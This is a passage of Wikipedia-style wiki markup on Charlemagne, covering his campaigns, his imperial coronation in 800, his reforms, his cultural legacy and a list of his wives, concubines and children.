In return for their lives, the Lombards surrendered and opened the gates in early [[summer]].  Desiderius was sent to the [[abbey]] of [[Corbie]] and his son Adelchis died in Constantinople a patrician.  Charles, unusually, had himself crowned with the [[Iron Crown of Lombardy|Iron Crown]] and made the magnates of Lombardy do homage to him at Pavia.  Only Duke [[Arechis II of Benevento]] refused to submit and proclaimed independence.  Charlemagne was now master of Italy as king of the Lombards.  He left Italy with a garrison in Pavia and few Frankish counts in place that very year.  

There was still instability, however, in Italy.  In [[776]], Dukes [[Hrodgaud]] of [[Friuli]] and [[Gisulf of Spoleto]] rebelled.  Charlemagne whisked back from [[Saxony]] and defeated the duke of Friuli in battle.  The duke was slain.  The duke of Spoleto signed a treaty.  Their co-conspirator, Arechis, was not subdued and Adelchis, their candidate in [[Byzantium]], never left that city.  Northern Italy was now faithfully his.

===Saxon campaigns===

Charlemagne was engaged in almost constant battle throughout his reign, with his legendary sword [[Joyeuse]] in hand. After thirty years of war and eighteen battles&amp;mdash;the [[Saxon Wars]]&amp;mdash;he conquered [[Saxonia]] and proceeded to convert the conquered to [[Roman Catholicism]], using force where necessary.  

The Saxons were divided into four subgroups in four regions.  Nearest to Austrasia was [[Westphalia]] and furthest away was [[Eastphalia]].  In between these two kingdoms was that of [[Engria]] and north of these three, at the base of the [[Jutland]] peninsula, was [[Nordalbingia]].

In his first campaign, Charlemagne forced the Engrians in 773 to submit and cut down the pagan holy tree [[Irminsul]] near [[Paderborn]].  The campaign was cut short by his first expedition to Italy.  He returned in the year [[775]], marching through Westphalia and conquering the Saxon fort of [[Sigiburg]].  He then crossed Engria, where he defeated the Saxons again.  Finally, in Eastphalia, he defeated a Saxon force, and its leader [[Hessi]] converted to [[Christianity]].  He returned through Westphalia, leaving encampments at Sigiburg and [[Eresburg]].  All Saxony but Nordalbingia was under his control, but Saxon resistance had not ended.

Following his campaign in Italy subjugating the dukes of Friuli and Spoleto, Charlemagne returned rapidly to Saxony in 776, when a rebellion destroyed his fortress at Eresburg.  The Saxons were once again brought to heel, though one [[Widukind]], a leader among them, fled instead to the [[Danes]].  Charlemagne built a new camp at [[Karlstadt]].  In [[777]], he called a national diet at Paderborn to integrate Saxony fully into the Frankish kingdom.  Many Saxons were baptised. 
 
In Summer [[779]], he again went into Saxony and reconquered Eastphalia, Engria, and Westphalia.  At a diet near [[Lippe]], he divided the land into missionary districts and himself assisted in several mass baptisms ([[780]]).  He then returned to Italy and, for the first time, there was no Saxon revolt.  From 780 to [[782]], the land had peace.  

He returned in 782 to Saxony and instituted a code of law and appointed counts, both Saxon and Frank.  The laws were [[draconian]] on religious issues, and the native paganism was gravely threatened.  This stirred a renewal of the old conflict.  That year, in Autumn, Widukind returned and led a revolt which resulted in several assaults on the church.  In response, at [[Verden, Germany|Verden]] in [[Lower Saxony]], Charlemagne ordered the beheading of 4,500 Saxons who had been caught practising paganism after converting to Christianity, known as the [[Bloody Trial of Verden]] or Massacre of Verden.  The massacre led to two years of constant warfare (783-[[785]]).

The Saxons maintained the peace for seven years after the great war of 783-785, but in [[792]], the Westphalians rose up against their masters.  The Eastphalians and Nordalbingians joined them in [[793]], but the insurrection did not catch on as previous ones and was completely put down by [[794]].  An Engrian rebellion followed closely in [[796]], but Charlemagne's personal presence and the presence of loyal Christian Saxons and [[Slavic peoples|Slav]]s immediately crushed it.  The last insurrection of the independence-minded people occurred in [[804]], more than thirty years after Charlemagne's first campaign against them.  This time, the most unruly of them all, the Nordalbingians, found themselves effectively disempowered from rebellion.  According to Einhard:

:''The war that had lasted so many years was at length ended by their acceding to the terms offered by the King; which were renunciation of their national religious customs and the worship of devils, acceptance of the sacraments of the Christian faith and religion, and union with the Franks to form one people.''

===Spanish campaign===
:''See [[Battle of Roncevaux Pass]]''.

[[image:Rolandfealty.jpg|thumb|200px|right|Roland pledges his [[fealty]] to Charlemagne; from a manuscript of a ''[[chanson de geste]]''.]]

To the Diet of Paderborn had come representatives of the [[Muslim]] rulers of [[Gerona]], [[Barcelona]], and [[Huesca]].  Their masters had been cornered in the [[Iberian Peninsula|Iberia]]n peninsula by [[Abd ar-Rahman I]], the [[Umayyad]] [[emir of Córdoba]].  The Moorish rulers offered their homage to the great king of the Franks in return for military support.  Seeing an opportunity to extend [[Christendom]] and his own power and believing the Saxons to be a fully conquered nation, he agreed to go to [[Spain]].  

In [[778]], he led the Neustrian army across the Western [[Pyrenees]], while the Austrasians, Lombards, and Burgundians passed over the Eastern Pyrenees.  The armies met at [[Zaragoza]] and received the homage of Soloman ibn al-Arabi and Kasmin ibn Yusuf, the foreign rulers.  Zaragoza did not fall soon enough for Charles, however.  He could not trust the Moors, nor the [[Basques]], whom he had subdued by conquering [[Pamplona]].  He turned to leave Iberia, but as he was passing through the Pass of [[Roncesvalles]] one of the most famous events of his long reign occurred.  The Basques fell on his rearguard and baggage train, utterly destroying it.  Among the famous dead were the [[seneschal]] Eggihard, the count of the palace Anselm, and the [[warden]] of the [[Breton]] March [[Roland]], inspiring the subsequent creation of the [[Song of Roland]] (''Chanson de Roland'').

===Charles and his children===
During the first peace of any substantial length (780–782), Charles began to appoint his sons to positions of authority within the realm, in the tradition of the kings and mayors of the past.  In 780, he had disinherited his eldest son, [[Pippin the Hunchback]], because the youth had joined a rebellion against him.  Pippin had been duped, through flattery, into joining a rebellion of nobles who pretended to despise Charles' treatment of [[Himiltrude]], Pippin's mother, in 770.  Charles baptised his son [[Pippin of Italy|Carloman]] as Pippin to keep the name alive in the dynasty. In [[781]], he made his oldest three sons each kings.  The eldest, [[Charles, King of Neustria|Charles]], received the kingdom of [[Neustria]], containing the regions of [[Anjou]], [[Maine]], and [[Touraine]].  The second eldest, Pippin, was made [[king of Italy]], taking the Iron Crown which his father had first worn in 774.  His third eldest son, [[Louis the Pious|Louis]], became [[king of Aquitaine]].  He tried to make his sons a true Neustrian, Italian, and Aquitainian and he gave their regents some control of their subkingdoms, but real power was always in his hands, though he intended each to inherit their realm some day.

The sons fought many wars on behalf of their father when they came of age.  Charles was mostly preoccupied with the Bretons, whose border he shared and who insurrected on at least two occasions and were easily put down, but he was also sent against the Saxons on multiple occasions.  In [[805]] and [[806]], he was sent into the the Böhmerwald (modern [[Bohemia]]) to deal with the Slavs living there ([[Czech_people|Czech]]s).  He subjected them to Frankish authority and devastated the valley of the Elbe, forcing a tribute on them.  Pippin had to hold the [[Avar]] and Beneventan borders, but also fought the [[Slavs]] to his north.  He was uniquely poised to fight the [[Byzantine Empire]] when finally that conflict arose after Charlemagne's imperial coronation and a [[Venetia]]n rebellion.  Finally, Louis was in charge of the [[Spanish March]] and also went to southern Italy to fight the duke of Benevento on at least one occasion.  He took Barcelona in a great siege in the year [[797]] (see below). [[Image:Aachen-cathedral-inside.jpg|thumb|200px|[[Palatine Chapel in Aachen|Charlemagne's chapel]] at his palace in [[Aachen]].]]

It is difficult to understand Charlemagne's attitude toward his daughters. None of them contracted a sacramental marriage. This may have been an attempt to control the number of potential alliances. Charlemagne certainly refused to believe the stories (mostly true) of their wild behaviour.  After his death the surviving daughters entered or were forced to enter [[monasteries]] by their own brother, the pious Louis. At least one of them, Bertha, had a recognised relationship, if not a marriage, with [[Angilbert]], a member of Charlemagne's court circle.

===During the Saxon peace===

In [[787]], Charlemagne finally directed his attention towards [[Benevento]], where Arechis was reigning independently.  He besieged [[Salerno]] and Arechis submitted to [[vassalage]].  However, with his death in 792, Benevento again proclaimed independence under his son [[Grimoald III of Benevento|Grimoald III]].  Grimoald was attacked by armies of Charles' or his sons' many times, but Charlemagne himself never returned to the [[Mezzogiorno]] and Grimoald never was forced to surrender to Frankish [[suzerainty]].  

In [[788]], Charlemagne turned his attention to [[Bavaria]].  He claimed Tassilo was an unfit ruler on account of his oath-breaking.  The charges were trumped up, but Tassilo was deposed anyway and put in the monastery of [[Jumièges]].  In 794, he was made to renounce any claim to Bavaria for himself and his family (the [[Agilolfings]]) at the [[synod]] of [[Frankfurt]].  Bavaria was subdivided into Frankish counties, like Saxony.

In [[789]], in recognition of his new pagan neighbours, the Slavs, Charlemagne marched an Austrasian-Saxon army across the [[Elbe]] into [[Abotrite]] territory.  The Slavs immediately submitted under their leader Witzin.  He then accepted the surrender of the [[Wiltzes]] under Dragovit and demanded many hostages and the permission to send, unmolested, missionaries into the pagan region.  The army marched to the [[Baltic]] before turning around and marching to the Rhine with much booty and no harassment.  The tributary Slavs became loyal allies.  In [[795]], the peace broken by the Saxons, the Abotrites and Wiltzes rose in arms with their new master against the Saxons.  Witzin died in battle and Charlemagne avenged him by harrying the Eastphalians on the Elbe.  Thrasuco, his successor, led his men to conquest over the Nordalbingians and handed their leaders over to Charlemagne, who greatly honoured him.  The Abotrites remained loyal until Charles' death and fought later against the Danes.

===Avar campaigns===

In 788, the Avars, a pagan [[Asia]]n horde which had settled down in what is today [[Hungary]] (Einhard called them [[Huns]]), invaded Friuli and Bavaria.  Charles was preoccupied until [[790]] with other things, but in that year, he marched down the [[Danube]] into their territory and ravaged it to the [[Raab]].  Then, a Lombard army under Pippin marched into the [[Drava]] valley and ravaged [[Pannonia]].  The campaigns would have continued if the Saxons had not revolted again in 792, breaking seven years of peace.  

For the next two years, Charles was occupied with the Slavs against the Saxons.  Pippin and Duke [[Eric of Friuli]] continued, however, to assault the Avars' ring-shaped strongholds.  The great Ring of the Avars, their capital fortress, was taken twice.  The booty was sent to Charlemagne at his capital, [[Aachen]], and redistributed to all his followers and even to foreign rulers, including King [[Offa of Mercia]].  Soon the Avar [[tudun]]s had thrown in the towel and travelled to Aachen to subject themselves to Charlemagne as vassals and Christians.  This Charlemagne accepted and sent one native chief, baptised Abraham, back to Avaria with the ancient title of [[khagan]].  Abraham kept his people in line, but soon the [[Magyars]] had swept the Avars away and presented a new threat to Charlemagne's descendants.

Charlemagne also directed his attention to the Slavs to the south of the Avar khaganate: the [[Carantania]]ns and [[Slovene]]s.  These people were subdued by the Lombards and Bavarii and made tributaries, but never incorporated into the Frankish state.

===The Saracens and Spain===

The conquest of Italy brought Charlemagne in contact with the Saracens who, at the time, controlled the [[Mediterranean]].  Pippin, his son, was much occupied with Saracens in Italy.  Charlemagne conquered [[Corsica]] and [[Sardinia]] at an unknown date and in [[799]] the [[Balearic Islands]].  The islands were often attacked by Saracen [[pirate]]s, but the counts of [[Genoa]] and Tuscany kept them at bay with large fleets until the end of Charlemagne's reign. Charlemagne even had contact with the [[caliph]]al court in [[Baghdad]].  In 797 (or possibly [[801]]), the caliph of Baghdad, [[Harun al-Rashid]], presented Charlemagne with an [[Asian elephant]] named [[Abul-Abbas]] and a mechanical clock.

In [[Hispania]], the struggle against the Moors continued unabated throughtout the latter half of his reign.  His son Louis was in charge of the Spanish border.  In 785, his men captured Gerona permanently and extended Frankish control into the [[Catalan]] littoral for the duration of Charlemagne's reign (and much longer, it remained nominally Frankish until the [[Treaty of Corbeil]] in [[1258]]).  The Muslim chiefs in the northeast of Spain were constantly revolting against Cordoban authority and they often turned to the Franks for help.  The Frankish border was slowly extended until 795, when Gerona, [[Cardona]], [[Ausona]], and [[Urgel]] were united into the new [[Spanish March]], within the old duchy of [[Septimania]].

In 797, [[Barcelona]], the greatest city of the region, fell to the Franks when Zeid, its governor, rebelled against Córdoba and, failing, handed it to them.  The Umayyad authority recaptured it in 799.  However, Louis of Aquitaine marched the entire army of his kingdom over the Pyrenees and besieged in for two years, wintering there from 800 to 801, when it capitulated.  The Franks continued to press forwards against the caliphs.  They took [[Tarragona]] in [[809]] and [[Tortosa]] in [[811]].  The last conquest brought them to the mouth of the [[Ebro]] and gave them raiding access to [[Valencia]], prompting the Caliph [[al-Hakam I]] to recognise their conquests in [[812]].

===Imperator===
[[Image:Charlemagnecrown.jpg|thumb|Coronation [[crown of Napoleon]] I&lt;br&gt;&lt;small&gt;sometimes called the ''[[crown of Charlemagne|Charlemagne Crown]]'' after the original crown of that name destroyed during the French Revolution.&lt;/small&gt;]]
Matters of Charlemagne's reign came to a head in late 800. In 799, [[Pope Leo III]] had been mistreated by the Romans, who tried to tear out his tongue and eyes.  He was deposed and put in a monastery, but Charlemagne did not recognise this, as his advisor, [[Alcuin of York]], advised.  He went down to Rome in November 800 and held a council on [[December 1]].  On [[December 23]], Leo swore an oath of innocence.  At [[Mass]], on Christmas Day ([[December 25]]), the pope crowned Charlemagne ''Imperator Romanorum'' (emperor of the Romans) in [[Saint Peter's Basilica]].  Einhard says that Charlemagne was ignorant of the pope's intent and did not want any such coronation:
:''he at first had such an aversion that he declared that he would not have set foot in the Church the day that they'' [the imperial titles] ''were conferred, although it was a great feast-day, if he could have foreseen the design of the Pope.''
[[Image:Sacre de Charlemagne.jpg|thumb|left|The Coronation of Charlemagne from the [[Grandes Chroniques de France]], illustrated by [[Jean Fouquet]].]]
Charlemagne thus became the renewer of the [[Western Roman Empire]], which had expired in the [[476]]. To avoid frictions with the [[Byzantine Emperor]], Charles later styled himself, not ''Imperator Romanorum'' (a title reserved for the Byzantine emperor), but rather ''Imperator Romanum gubernans Imperium'' (emperor ruling the [[Roman Empire]]).

The [[iconoclasm]] of the [[Leo III|Isaurian Dynasty]] and resulting religious conflicts with the Empress [[Byzantine Empress Irene|Irene]], sitting on the throne in [[Constantinople]] in 800, were probably the chief causes of the pope's desire to formally resurrect the Roman imperial title in the West.  He also most certainly desired to increase the influence of the papacy, honour his saviour Charlemagne, and solve the constitutional issues then most troubling to European jurists in an era when Rome was not in the hands of an emperor.  Thus, Charlemagne's assumption of the title of [[Caesar Augustus|Augustus]], [[Constantine the Great|Constantine]], and [[Justinian]] was not an usurpation in the eyes of the Franks or Italians. It was though in [[Greece]], where it was protested by Irene and the usurper [[Nicephorus I]] — neither of whom had any great effect in enforcing their protests.  

The [[Byzantine]]s, however, still held several territories in Italy: [[Venice]] (what was left of the [[exarchate of Ravenna]]), [[Reggio]] ([[Calabria]], the toe), [[Brindisi]] ([[Apulia]], the heel), and [[Naples]] (the ''Ducatus Neapolitanus'').  These regions remained outside of Frankish hands until 804, when the Venetians, torn by infighting, transferred their allegiance to the Iron Crown of Pippin, Charles' son.  Nicephorus ravaged the coasts with a fleet and the only instance of war between Constantinople and Aachen, as it was, began.  It lasted until [[810]], when the pro-Byzantine party in Venice gave their city back to the emperor in Byzantium and the two emperors of Europe made peace.  Charlemagne received the [[Istria]]n peninsula and in 812 Emperor [[Michael I Rhangabes]] recognised his title.

===Danish attacks===

After the conquest of Nordalbingia, the Frankish frontier was brought into contact with [[Scandinavia]].  The [[Danes]], &quot;a race almost unknown to his ancestors, but destined to be only too well known to his sons&quot; as [[Charles Oman]] eloquently described them, inhabiting the [[Jutland]] peninsula had heard many stories from Widukind and his allies who had taken refuge with them about the dangers of the Franks and the fury which their Christian king could direct against pagan neighbours.  In [[808]], the king of the Danes, [[Gudfred|Godfred]], built the vast [[Danevirke]] across the [[isthmus]] of [[Schleswig]].  This defence, last employed in the Danish-Prussian War of [[1864]], was at its beginning a 30 km long earthenwork rampart.  The Danevirke protected Danish land and gave Godfred the opportunity to harass [[Frisia]] and [[Flanders]] with pirate raids.  He also subdued the Frank-allied Wiltzes and fought the Abotrites.  He invaded Frisia and joked of visiting Aachen, but was murdered before he could do any more, either by a Frankish assassin or by one of his own men. Godfred was succeded by his nephew [[Hemming]], and he concluded a peace with Charlemagne in late 811.

===Death===

[[Image:Gardiner814.jpg|right|thumb|&quot;Europe at the death of Charles the Great, 814.&quot;&amp;mdash;''A School Atlas of English History'' ed. by Samuel Rawson Gardiner, M.A. LL.D.]]

In [[813]], Charlemagne called Louis, his only surviving legitimate son, to his court.  There he crowned him as his heir and sent him back to Aquitaine.  He then spent the autumn hunting before returning to Aachen on [[1 November]].  In January, he fell ill.  He took to his bed on the [[22 January]] and as Einhard tells it:

:''He died January twenty-eighth, the seventh day from the time that he took to his bed, at nine o'clock in the morning, after partaking of the [[holy communion]], in the seventy-second year of his age and the forty-seventh of his reign.''

When Charlemagne died in 814, he was buried in his own [[Aachen Cathedral|Cathedral at Aachen]]. He was succeeded by his only son then surviving, Louis the Pious.  His empire lasted only another generation in its entirety; its division, according to custom, between Louis's own sons after their father's death laid the foundation for the modern states of [[France]] and [[Germany]].

==Administration==

As an administrator, Charlemagne stands out for his many reforms: [[monetary]], [[government]]al, [[military]], or [[ecclesiastic]]al.  

===Monetary reforms===
[[Image:Karldergrossesignatur.jpg|left|thumb|[[Monogram]] of Charlemagne, from the subscription of a royal diploma: &amp;quot;Signum (monogr.: KAROLVS) Caroli gloriosissimi regis&amp;quot;.]]

Pursuing his father's reforms, Charlemagne did away with the monetary system based on the gold ''[[sou]]''. Both he and the [[Anglo-Saxon]] King [[Offa of Mercia]] took up the system set in place by Pippin. He set up a new standard, the ''[[livre]]'' (from the Latin ''[[libra]]'', the modern [[pound (currency)|pound]])&amp;mdash;a unit of both money and weight&amp;mdash;which was worth 20 sous (from the Latin ''[[solidus]]'', the modern [[shilling]]) or 240 ''[[denier (coin)|denier]]s'' (from the Latin ''[[denarius]]'', the modern [[penny]]). During this period, the ''livre'' and the ''sou'' were counting units, only the ''denier'' was a coin of the realm.

Charlemagne applied the system to much of the European continent, and Offa's standard was voluntarily adopted by much of [[England]].  After Charlemagne's death, continental coinage degraded and most of Europe resorted to using the continued high quality English coin until about [[1100]].

===Education reforms===

A part of Charlemagne's success as warrior and administrator can be traced to his admiration for learning.  His reign and the era it ushered in are often referred to as the [[Carolingian renaissance|Carolingian Renaissance]] because of the flowering of [[scholarship]], [[literature]], [[art]], and [[architecture]] which characterise it. Most of the surviving works of classical Latin were copied and preserved by Carolingian scholars.  Indeed, the earliest manuscripts available for many ancient texts are Carolingian and it is almost certain that a text which survived to the Carolingian age, survives still. The pan-European nature of Charlemagne's influence is indicated by the origins of many of the men who worked for him: [[Alcuin]], an [[Anglo-Saxons|Anglo-Saxon]] from [[York]]; [[Theodulf]], a [[Visigoths|Visigoth]], probably from [[Septimania]]; [[Paul the Deacon]], a [[Lombards|Lombard]]; and [[Angilbert]] and [[Einhard]], Franks. 

Charlemagne took a serious interest in his and others' scholarship and had learned to read in his adulthood, although he never quite learned how to write, he used to keep a slate and stylus underneath his pillow, according to Einhard.  His handwriting was bad, from which grew the legend that he could not write. Even learning to read was quite an achievement for kings at this time, of whom most were illiterate.  

Charlemagne's mother tongue was the [[Old High German]] dialect called [[Frankish language|Frankish]]. He also spoke [[Latin language|Latin]] and understood some [[Greek language|Greek]].

===Writing reforms===
[[Image:Codexaureus 04.jpg|left|thumb|Page from the [[Lorsch Gospels]] of Charlemagne's reign.]]

During Charles' reign, the [[uncial|Roman half uncial]] script and its [[cursive]] version, which had given rise to various continental [[minuscule]] scripts, combined with features from the &quot;insular&quot; scripts that were being used in [[Irish]] and [[England|English]] monasteries. [[Carolingian minuscule]] was created partly under the patronage of Charlemagne.  Alcuin of York, who ran the palace school and [[scriptorium]] at Aachen, was probably a chief influence in this.  The revolutionary character of the Carolingian reform, however, can be over-emphasised; efforts at taming the crabbed Merovingian and Germanic hands had been underway before Alcuin arrived at Aachen.  The new minuscule was disseminated first from Aachen, and later from the influential scriptorium at [[Tours]], where Alcuin retired as an abbot.

===Political reforms===

Charlemagne engaged in many reforms of Frankish governance, but he continued also in many traditional practices, such as the division of the kingdom among sons, to name but the most obvious one.  

====Organisation====

In the first year of his reign, Charlemagne went to [[Aachen]] (in [[French language|French]], ''Aix-la-Chapelle'') for the first time.  He began to build a [[palace]] twenty years later (788).  The palace [[chapel]], constructed in 796, later became [[Aachen Cathedral]].  Charlemagne spent most winters between 800 and his death at Aachen, which he made the joint capital with Rome, in order to enjoy the hot springs.  Charlemagne organised his empire into 350 [[county|counties]], each led by an appointed [[count]]. Counts served as judges, administrators, and enforcers of [[capitulary|capitularies]]. To enforce loyalty, he set up the system of ''[[missi dominici]]'', meaning &quot;envoys of the lord&quot;. In this system, one representative of the church and one representative of the emperor would head to the different counties and every year report back to Charlemagne on their status.

====Imperial coronation====

Historians have debated for centuries whether Charlemagne was aware of the Pope's intent to crown him Emperor prior to the coronation itself (Charlemagne declared that he would not have entered Saint Peter's had he known), but that debate has often obscured the more significant question of ''why'' the Pope granted the title and why Charlemagne chose to accept it once he did.

Roger Collins points out (''Charlemagne'', pg. 147) &quot;that the motivation behind the acceptance of the imperial title was a romantic and antiquarian interest in reviving the Roman empire is highly unlikely.&quot;  For one thing, such romance would not have appealed either to Franks or Roman Catholics at the turn of the ninth century, both of whom viewed the [[Classical antiquity|Classical]] heritage of the Roman Empire with distrust.  The Franks took pride in having &quot;fought against and thrown from their shoulders the heavy yoke of the Romans&quot; and &quot;from the knowledge gained in baptism, clothed in gold and precious stones the bodies of the holy martyrs whom the Romans had killed by fire, by the sword and by wild animals&quot;, as Pippin III described it in a law of [[763]] or [[764]] (Collins 151).  Furthermore, the new title &amp;mdash; carrying with it the risk that the new emperor would &quot;make drastic changes to the traditional styles and procedures of government&quot; or &quot;concentrate his attentions on Italy or on Mediterranean concerns more generally&quot; (Collins 149) &amp;mdash; risked alienating the Frankish leadership.

For both the Pope and Charlemagne, the Roman Empire remained a significant power in European politics at this time, and continued to hold a substantial portion of Italy, with borders not very far south of the city of Rome itself &amp;mdash; this is the empire historiography has labelled the Byzantine Empire, for its capital was Constantinople (ancient Byzantium) and its people and rulers were [[Byzantine Empire|Greek]]; it was a thoroughly Hellenic state.  Indeed, Charlemagne was usurping the prerogatives of the Roman Emperor in Constantinople simply by sitting in judgement over the Pope in the first place:

:''By whom, however, could he ''[the Pope]'' be tried?  Who, in other words, was qualified to pass judgement on the Vicar of Christ?  In normal circumstances the only conceivable answer to that question would have been the Emperor at Constantinople; but the imperial throne was at this moment occupied by [[Irene]].  That the Empress was notorious for having blinded and murdered her own son was, in the minds of both Leo and Charles, almost immaterial: it was enough that she was a woman.  The female sex was known to be incapable of governing, and by the old Salic tradition was debarred from doing so.  As far as Western Europe was concerned, the Throne of the Emperors was vacant: Irene's claim to it was merely an additional proof, if any were needed, of the degradation into which the so-called Roman Empire had fallen.''  ([[John Julius Norwich]], ''Byzantium: The Early Centuries'', pg. 378)

For the Pope, then, there was &quot;no living Emperor at the that time&quot; (Norwich 379), though [[Henri Pirenne]] (''Mohammed and Charlemagne'', pg. 234n) disputes this saying that the coronation &quot;was not in any sense explained by the fact that at this moment a woman was reigning in Constantinople.&quot;  Nonetheless, the Pope took the extraordinary step of creating one.  The papacy had for some years been in conflict with Irene's predecessors in Constantinople over a number of issues, chiefly the continued Byzantine adherence to the doctrine of iconoclasm, the destruction of Christian images.  By bestowing the Imperial crown upon Charlemagne, the Pope abrogated to himself &quot;the right to appoint ... the Emperor of the Romans, ... establishing the imperial crown as his own personal gift but simultaneously granting himself implicit superiority over the Emperor whom he had created.&quot;  And &quot;because the Byzantines had proved so unsatisfactory from every point of view&amp;mdash;political, military and doctrinal&amp;mdash;he would select a westerner: the one man who by his wisdom and statesmanship and the vastness of his dominions ... stood out head and shoulders above his contemporaries.&quot;

[[Image:Charlemagne1.gif|thumb|right|The imperial coronation of Charlemagne, an act of utmost importance in European history.]]

With Charlemagne's coronation, therefore, &quot;the Roman Empire remained, so far as either of them [Charlemagne and Leo] were concerned, one and indivisible, with Charles as its Emperor&quot;, though there can have been &quot;little doubt that the coronation, with all that it implied, would be furiously contested in Constantinople.&quot; (Norwich, ''Byzantium: The Apogee'', pg. 3)  How realistic either Charlemagne or the Pope felt it to be that the people of Constantinople would ever accept the King of the Franks as their Emperor, we cannot know; Alcuin speaks hopefully in his letters of an ''Imperium Christianum'' (&quot;Christian Empire&quot;), wherein, &quot;just as the inhabitants of the [Roman Empire] had been united by a common Roman citizenship&quot;, presumably this new empire would be united by a common Christian faith (Collins 151), certainly this is the view of Pirenne when he says &quot;Charles was the Emperor of the ''ecclesia'' as the Pope conceived it, of the Roman Church, regarded as the universal Church&quot; (Pirenne 233). 

What we ''do'' know, from the Byzantine chronicler [[Theophanes]] (Collins 153), is that Charlemagne's reaction to his coronation was to take the initial steps toward securing the Constantinopolitan throne by sending envoys of marriage to Irene, and that Irene reacted somewhat favorably to them.  Only when the people of Constantinople reacted to Irene's failure to immediately rebuff the proposal by deposing her and replacing her with one of her ministers, Nicephorus I, did Charlemagne drop any ambitions toward the Byzantine throne and begin minimising his new Imperial title, and instead return to describing himself primarily as ''rex Francorum et Langobardum''.

The title of emperor remained in his family for years to come, however, as brothers fought over who had the supremacy in the Frankish state.  The papacy itself never forgot the title nor abandoned the right to bestow it.  When the family of Charles ceased to produce worthy heirs, the pope gladly crowned whichever Italian magnate could best protect him from his local enemies.  This devolution lead, as could have been expected, to the dormancy of the title for almost forty years ([[924]]-[[962]]).  Finally, in 962, in a radically different Europe from Charlemagne's, a new Roman Emperor was crowned in Rome by a grateful pope.  This emperor, [[Otto the Great]], brought the title into the hands the kings of Germany for almost a millennium, for it was to become the Holy Roman Empire, a true imperial successor to Charles, if not [[Augustus]].

====Divisio regnorum====

In 806, Charlemagne first made provision for the traditional division of the empire on his death.  For Charles the Younger he designated the imperial title, Austrasia and Neustria, Saxony, Burgundy, and [[Thuringia]].  To Pippin he gave Italy, Bavaria, and [[Swabia]].  Louis received Aquitaine, the Spanish March, and [[Provence]].  This division may have worked, but it was never to be tested.  Pippin died in 810 and Charles in 811.  Charlemagne redrew the map of Europe by giving all to Louis, save the Iron Crown, which went to Pippin's (illegitimate) son [[Bernard of Italy|Bernard]].

==Cultural significance==

[[Image:Raphael_Charlemagne.jpg|thumb|280px|right|Coronation of Charlemagne by [[Raphael]]]]

Charlemagne, being a model knight as one of the [[Nine Worthies]], enjoyed an important afterlife in European culture. One of the great medieval [[literary cycle]]s, the [[Charlemagne cycle]] or the ''[[Matter of France]]'', centers around the deeds of Charlemagne and his historical commander of the [[Breton]] border, [[Roland]], and the [[paladin]]s who are analogous to the knights of the [[Round Table (Camelot)|Round Table]] or [[King Arthur]]'s court.  Their tales constitute the first ''[[chanson de geste|chansons de geste]]''.

Charlemagne himself was accorded [[saint]]hood inside the Holy Roman Empire after the [[twelfth century]].  His [[canonisation]] by [[Antipope Paschal III]], to gain the favour of [[Frederick Barbarossa]] in [[1165]], was never recognised by the [[Holy See]], which annulled all of Paschal's ordinances at the [[Third Lateran Council]] in [[1179]]. However, he has been [[beatification|acknowledged]] as ''[[Historical process of beatification and canonization#Confirmation of cult|cultus confirmed]]''.

It is frequently claimed by [[genealogy|genealogists]] that all people with European ancestry alive today are probably descended from Charlemagne. However, only a small percentage can actually prove descent from him. Charlemagne's marriage and relationship [[politics]] and [[ethics]] did, however, result in a fairly large number of descendants, all of whom had far better life expectancies than is usually the case for children in that time period. They were married into houses of [[nobility]] and as a result of [[intermarriage]]s many people of [[noble]] descent can indeed trace their ancestry back to Charlemagne.  He is without a doubt an ancestor of every royal family of Europe.

==Family==

[[Image:Karl der Grosse - Pippin der Bucklige.jpg|thumb|right|Charlemagne and Pippin the Hunchback. [[Tenth century]] copy of a lost original from about [[830]].]]

===Marriages and heirs===

*His first wife was [[Himiltrude]], married in 766. The marriage was never formally annulled.  By her he had:
**[[Pippin the Hunchback]] (767-813)

*His second wife was [[Gerperga]] (often erroneously called Desiderata or Desideria), daughter of [[Desiderius]], king of the [[Lombards]], married in 768, annulled in 771.  

*His third wife was [[Hildegard of Savoy]] (757 or 758-783 or 784), married 771, died 784.  By her he had:
**[[Charles, King of Neustria|Charles the Younger]] (772 or 773-811), king of [[Neustria]] from 781
**Adelaide (773 or 774-774)
**[[Pippin of Italy|Carloman, baptised Pippin]] (773 or 777-810), [[king of Italy]] from 781
**[[Rotrude]] (or Hruodrud) (777-810)
**[[Louis the Pious|Louis]] (778-840), twin of Lothair, [[king of Aquitaine]] from 781 and [[Holy Roman Emperor|emperor]] and [[king of the Franks]] from 814
**Lothair (778-779 or 780), twin of Louis
**[[Bertha, daughter of Charlemagne|Bertha]] (779-823)
**[[Gisela, daugher of Charlemagne|Gisela]] (781-808)
**Hildegarde (782-783)

*His fourth wife was [[Fastrada]], married 784, died 794.  By her he had:
**[[Theodrada]] (b.784), [[abbess]] of [[Argenteuil]]
**Hiltrude (b.787)

*His fifth and favourite wife was [[Luitgard]], married 794, died 800 childless.

===Concubinages and bastards===

*His first known concubine was [[Gersuinda]].  By her he had:
**Adaltrude (b.774)

*His second known concubine was [[Madelgard]].  By her he had:
**[[Ruodhaid]] (775-810), [[abbess]] of [[Faremoutiers]]

*His third known concubine was [[Amaltrud of Vienne]].  By her he had:
**Alpaida (b.794)

*His fourth known concubine was [[Regina (concubine)|Regina]].  By her he had:
**[[Drogo of Metz|Drogo]] (801-855), [[bishop of Metz]] from 823
**[[Hugh, son of Charlemagne|Hugh]] (802-844), [[archchancellor]] of the Empire

*His fifth known concubine was [[Ethelind]].  By her he had:
**Theodoric (b.807)

{{s-start}}
{{s-hou|[[Carolingian|Carolingian Dynasty]]||742||814}}
{{s-vac|last=[[Chilperic II]]}}
{{s-ttl|title=[[List of Frankish Kings|King of Neustria]]|years=768&amp;ndash;771}}
{{s-vac|next=[[Charles, King of Neustria|Charles the Younger]]}}
{{s-bef|before=[[Desiderius]]}}
{{s-ttl|title=[[Lombards|King of the Lombards]]|years=774&amp;ndash;781}}
{{s-aft|after=[[Pippin of Italy|Pippin]]}}
{{s-vac|last=[[Chilperic of Aquitaine|Chilperic]]}}
{{s-ttl|title=[[King of Aquitaine]]|years=768&amp;ndash;771}}
{{s-aft|rows=3|after=[[Louis the Pious|Louis I]]}}
|-
{{s-vac|last=[[Pippin the Short|Pippin]]}}
{{s-ttl|title=[[List of Frankish Kings|King of the Franks]]|years=771&amp;ndash;814}}
|-
{{s-vac|last=[[Romulus Augustus]]}}
{{s-ttl|title=[[List of Holy Roman Emperors|Roman Emperor]]|years=800&amp;ndash;814}}
{{end}}

==Notes==
